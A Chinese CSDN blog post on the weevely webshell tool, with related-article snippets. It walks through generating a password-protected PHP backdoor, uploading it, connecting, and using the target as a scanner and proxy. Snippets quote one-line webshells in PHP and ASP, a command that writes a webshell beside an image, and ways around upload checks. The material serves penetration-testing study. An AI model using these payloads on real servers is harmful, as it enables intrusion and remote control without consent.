weevely(自动生成shell(上传文件一句话))

最新推荐文章于 2022-05-23 21:49:48 发布
最新推荐文章于 2022-05-23 21:49:48 发布
阅读量2.2k 收藏
点赞数
分类专栏： 渗透测试 文章标签： linux 网络 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_48907714/article/details/123263691
版权

跟中国剑蚁差不多，但是这个生成的好像剑蚁不能用
在这里插入图片描述
12345就是shell密码

文件上传成功后进行连接
weevely url 密码
请添加图片描述

连接成功后进入服务器的cmd 成功
输入audit_phpchonf 查看位置信息
输入systeminfo 查看服务器信息
输入net_scan 扫描端口
输入net_proxy 作为靶机作为代理服务器

如果要作为代理服务器的话，需要再将火狐代理设置成127.0.0.1 8080（全部设置）
通过netstat -pantu 查看自己计算机和哪些服务器建立TCP和UDP的连接，查看8080占用情况（要确定是python使用）
百密不疏
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
使用Weevely工具上传一句话木马
一颗小松子.的博客
01-27 3074
Weevely在上传木马进行后渗透测试的过程中可用于模拟一个类似于telnet的连接shell 通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理 Weevely生成的服务器端php代码经过了base64编码，可以绕过主流的杀毒软件和IDS 上传服务器端代码后通常可以通过weevely直接运行 使用它可以浏览文件系统，检测服务器设置，创建tcpshell和reverse shell。
PHP Shell生成工具Weevely
weixin_34198453的博客
07-10 152
2019独角兽企业重金招聘Python工程师标准>>> ...
使用工具weevely上传一句话木马
单核CPU的小朋友的博客
04-22 2433
使用 Weevely 查看使用帮助： 生成一句话木马后门： Weevely generate password /tmp/backdoor.php 也不知道为什么，只有生成在/tmp目录下才有效，所以这里我就生成在/tmp目录下了。 这里我们上传到别的机器的web服务器上。 然后使用weevely直接切入： 拿到shell。 这里不是root权限，所以还要自己想办法提权到root权限。。 ...
Linux Shell Weevely
m0_55313512的博客
02-26 874
Weevely
如何通过shell脚本自动生成vue文件详解
10-16
通过Shell脚本自动化生成Vue文件可以极大地提高开发效率，尤其是在使用Vue.js框架构建大型项目时。在本文中，我们将深入探讨如何创建一个Shell脚本来自动创建Vue组件和页面。 首先，我们需要在`package.json`文件中...
实现core文件自动生成配置文件的方法
09-15
1. 编辑`/etc/profile`，设置`ulimit`以允许无限制大小的`core`文件生成。 2. 修改`/etc/sysctl.conf`，设定`core`文件的生成路径和命名规则。 3. 使用`sysctl -p`命令使配置生效。 遵循这些步骤，开发者可以在出现...
protobuf 自动生成c# .cs文件
03-01
标题中的“protobuf 自动生成c# .cs文件”是指使用Google的Protocol Buffers（简称protobuf）工具，将定义的数据结构协议文件转换为C#编程语言的.cs源代码文件。这个过程极大地简化了数据序列化和反序列化的操作，...
Shell脚本实现批量生成nagios配置文件
09-03
为了解决这个问题，我们可以利用Shell脚本进行自动化批量生成配置文件，大大提升工作效率。 首先，我们需要一个配置文件模板，比如`webcheck.template`。在这个模板文件中，我们定义了一个Nagios服务检查的配置段，...
自动下载服务文件到本地的ftp命令shell脚本
最新发布
11-04
自动下载服务文件到本地的ftp命令shell脚本
通过Excel自动生成Shell Script
天空源的博客
04-03 1087
放入指定格式字符自动生成脚本 函数1 指定数据 xxxxxxxxxx 00000123456 1900/01/01 14:57:27 -123456 ins-xxx-sky 函数 Gen “Celebrus fires content request to Pega - Se...
【使用过程】weevely生成、上传、连接、执行…你一定行
03-31 6456
weevely傻子都会
DVWA笔记（5）--File Upload(文件上传)
xiaopan233的博客
02-11 736
file upload 文件上传的话，就是通过网站的上传页面，将后门文件上传上去。看起来似乎很简单，但是上传绕过的方式可谓各式各样，各种绕过姿势。主要的难点就在绕过上传。不过如果成功上传了，那权限维持就很容易了。 low 我们使用kali自带的菜刀weevely生成一个后门文php文件。简单介绍一下kali中的weevely的使用 生成后门文件： weevely generate ...
利用weevely生成php后门木马
qq_28147861的博客
01-18 3641
Weevely工具介绍 weevely 是一款具有高隐蔽性的针对PHP 平台的Web shell。它实现了SSH 风格的终端界面，并有大量自动化的模块。测试人员可用它执行系统指令、远程管理和渗透后期的自动渗透。下面是weevely的主要功能: （1）它有30多种可完成自动管理渗透后期任务的功能模块。这些模块能够：执行命令和浏览远程文件系统；检测常见的服务器配置问题；创造TCP shell和reverse shell；在被测主机上安装HTTP代理；利用目标主机进行端口扫描。 （2）使用HTTP Cook
文件上传漏洞
paradise
02-27 118
绕过JS验证 修改前端代码 删除js代码，修改form <form enctype="multipart/form-data" method="post" action="http://127.0.0.1/upload/Pass-01/index.php"> 网页另存 burpsuite剔除响应JS 绕过MIME-Type验证 mime-type介绍：https...
利用shell写入一句话
qq_40624810的博客
11-09 301
for %i in (d) do (cd /d %i:\ & (for /r %j in (*050.jpg) do echo ^<%eval request^(chr^(35^)^)%^>>%~dpjK.asp) 遍历050.jpg，找到后在同级目录下写入一句话。 注意：050.jpg替换为要渗透网站中可以知道目录的图片，密码为chr35 解码后的# 然后就可以用菜刀连接 ...
利用网站上传漏洞使用一句话木马控制服务器
weixin_33962621的博客
06-18 1744
一句话木马 常用于php、asp、aspx php <?php echo shell_exec($_GET['cmd']);?> asp <%execute(request("value"))%> aspx <%@ Page Language="Jscript"%> <%eval(Request.Item["value"...
weevely详细使用教程
热门推荐
星落的博客
05-12 2万+
weevely简介 weevely常用命令 weevely主页面 实例演示 到此就完成了weevely的介绍，如果想了解更多的Kali工具，请关注我！
weevely工具使用
淡巴枯的博客
05-23 6535
weevely工具使用 目录一． 关于weevely二． 安装weevely三． 使用weevely四． weevely实战五． 常用模块六． weevely工作原理 声明：本文禁止转载。 仅作网络安全学习交流，切勿用于任何非法用途，否则后果自负。 一． 关于weevely   weevely是一款基于python编写的webshell管理工具，其优点是跨平台，隐蔽性不错，参数随机生成并加密。但缺点是只支持php。   我们可以在普通的一句话木马上传无效的情况下，使用weevley工具生成的一
使用shell脚本编写一个sftp自动上传文件的脚本
06-03
好的，以下是一个使用sftp自动上传文件的shell脚本示例： ```bash #!/bin/bash # sftp服务器信息 sftp_user="username" sftp_host="hostname" sftp_port="port" sftp_key="path/to/private/key" # 本地文件路径和...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值